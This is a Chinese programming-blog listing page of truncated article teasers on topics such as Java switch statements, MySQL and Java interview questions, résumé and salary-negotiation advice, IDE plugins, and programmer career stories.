昨天早上通过远程的方式 review 了两名新来同事的代码,大部分代码都写得很漂亮,严谨的同时注释也很到位,这令我非常满意。但当我看到他们当中有一个人写的 switch 语句时,还是忍不住破口大骂:“我擦,小王,你丫写的 switch 语句也太老土了吧!” 来看看小王写的代码吧,看完不要骂我装逼啊。 private static String createPlayer(PlayerTypes p...

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

Intellij IDEA 实用插件安利

1. 前言从2020 年 JVM 生态报告解读 可以看出Intellij IDEA 目前已经稳坐 Java IDE 头把交椅。而且统计得出付费用户已经超过了八成(国外统计)。IDEA 的...

女程序员,为什么比男程序员少???

昨天看到一档综艺节目,讨论了两个话题:(1)中国学生的数学成绩,平均下来看,会比国外好?为什么?(2)男生的数学成绩,平均下来看,会比女生好?为什么?同时,我又联想到了一个技术圈经常讨...

总结了 150 余个神奇网站,你不来瞅瞅吗?

原博客再更新,可能就没了,之后将持续更新本篇博客。

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

MySQL数据库面试题(2020最新版)

文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

魂迁光刻,梦绕芯片,中芯国际终获ASML大型光刻机

据羊城晚报报道,近日中芯国际从荷兰进口的一台大型光刻机,顺利通过深圳出口加工区场站两道闸口进入厂区,中芯国际发表公告称该光刻机并非此前盛传的EUV光刻机,主要用于企业复工复产后的生产线扩容。 我们知道EUV主要用于7nm及以下制程的芯片制造,光刻机作为集成电路制造中最关键的设备,对芯片制作工艺有着决定性的影响,被誉为“超精密制造技术皇冠上的明珠”,根据之前中芯国际的公报,目...

优雅的替换if-else语句

场景 日常开发,if-else语句写的不少吧??当逻辑分支非常多的时候,if-else套了一层又一层,虽然业务功能倒是实现了,但是看起来是真的很不优雅,尤其是对于我这种有强迫症的程序"猿",看到这么多if-else,脑袋瓜子就嗡嗡的,总想着解锁新姿势:干掉过多的if-else!!!本文将介绍三板斧手段: 优先判断条件,条件不满足的,逻辑及时中断返回; 采用策略模式+工厂模式; 结合注解,锦...

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

2020阿里全球数学大赛:3万名高手、4道题、2天2夜未交卷

阿里巴巴全球数学竞赛( Alibaba Global Mathematics Competition)由马云发起,由中国科学技术协会、阿里巴巴基金会、阿里巴巴达摩院共同举办。大赛不设报名门槛,全世界爱好数学的人都可参与,不论是否出身数学专业、是否投身数学研究。 2020年阿里巴巴达摩院邀请北京大学、剑桥大学、浙江大学等高校的顶尖数学教师组建了出题组。中科院院士、美国艺术与科学院院士、北京国际数学...

为什么你不想学习?只想玩?人是如何一步一步废掉的

不知道是不是只有我这样子,还是你们也有过类似的经历。 上学的时候总有很多光辉历史,学年名列前茅,或者单科目大佬,但是虽然慢慢地长大了,你开始懈怠了,开始废掉了。。。 什么?你说不知道具体的情况是怎么样的? 我来告诉你: 你常常潜意识里或者心理觉得,自己真正的生活或者奋斗还没有开始。总是幻想着自己还拥有大把时间,还有无限的可能,自己还能逆风翻盘,只不是自己还没开始罢了,自己以后肯定会变得特别厉害...

男生更看重女生的身材脸蛋,还是思想?

往往,我们看不进去大段大段的逻辑。深刻的哲理,往往短而精悍,一阵见血。问:产品经理挺漂亮的,有点心动,但不知道合不合得来。男生更看重女生的身材脸蛋,还是...

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

当HR压你价,说你只值7K,你该怎么回答?

当HR压你价,说你只值7K时,你可以流畅地回答,记住,是流畅,不能犹豫。 礼貌地说:“7K是吗?了解了。嗯~其实我对贵司的面试官印象很好。只不过,现在我的手头上已经有一份11K的offer。来面试,主要也是自己对贵司挺有兴趣的,所以过来看看……”(未完) 这段话主要是陪HR互诈的同时,从公司兴趣,公司职员印象上,都给予对方正面的肯定,既能提升HR的好感度,又能让谈判气氛融洽,为后面的发挥留足空间。...

面试:第十六章:Java中级开发

HashMap底层实现原理,红黑树,B+树,B树的结构原理 Spring的AOP和IOC是什么?它们常见的使用场景有哪些?Spring事务,事务的属性,传播行为,数据库隔离级别 Spring和SpringMVC,MyBatis以及SpringBoot的注解分别有哪些?SpringMVC的工作原理,SpringBoot框架的优点,MyBatis框架的优点 SpringCould组件有哪些,他们...

面试阿里p7,被按在地上摩擦,鬼知道我经历了什么?

面试阿里p7被问到的问题(当时我只知道第一个):@Conditional是做什么的?@Conditional多个条件是什么逻辑关系?条件判断在什么时候执...

Python爬虫,高清美图我全都要(彼岸桌面壁纸)

爬取彼岸桌面网站较为简单,用到了requests、lxml、Beautiful Soup4

差点跪了...

最近微信又搞出了一个大利器,甚至都上了热搜,当然消息最敏捷的自媒体人,纷纷都开通了自己的视频号。01 视频号是什么呢?视频号是微信体系内的短视频,它不同...

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

Vue回炉重造之router路由(更新中)

你好,我是Vam的金豆之路,可以叫我豆哥。2019年年度博客之星、技术领域博客专家。主要领域:前端开发。我的微信是 maomin9761,有什么疑问可以加我哦,自己创建了一个微信技术交流群,可以加我邀请你一起交流学习。最后自己也创建了一个微信公众号,里面的文章是我自己精挑细选的文章,主要介绍各种IT新技术。欢迎关注哦,微信搜索:臻美IT,等你来。 欢迎阅读本博文,本博文主要讲述【】,文字通...

大三实习生,字节跳动面经分享,已拿Offer

说实话,自己的算法,我一个不会,太难了吧

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

Java岗开发3年,公司临时抽查算法,离职后这几题我记一辈子

前几天我们公司做了一件蠢事,非常非常愚蠢的事情。我原以为从学校出来之后,除了找工作有测试外,不会有任何与考试有关的事儿。 但是,天有不测风云,公司技术总监、人事总监两位大佬突然降临到我们事业线,叫上我老大,给我们组织了一场别开生面的“考试”。 那是一个风和日丽的下午,我翘着二郎腿,左手端着一杯卡布奇诺,右手抓着我的罗技鼠标,滚动着轮轴,穿梭在头条热点之间。 “淡黄的长裙~蓬松的头发...

大胆预测下未来5年的Web开发

在2019年的ReactiveConf 上,《Elm in Action》的作者Richard Feldman对未来5年Web开发的发展做了预测,很有意思,分享给大家。如果你有机会从头...

立即提问
相关内容推荐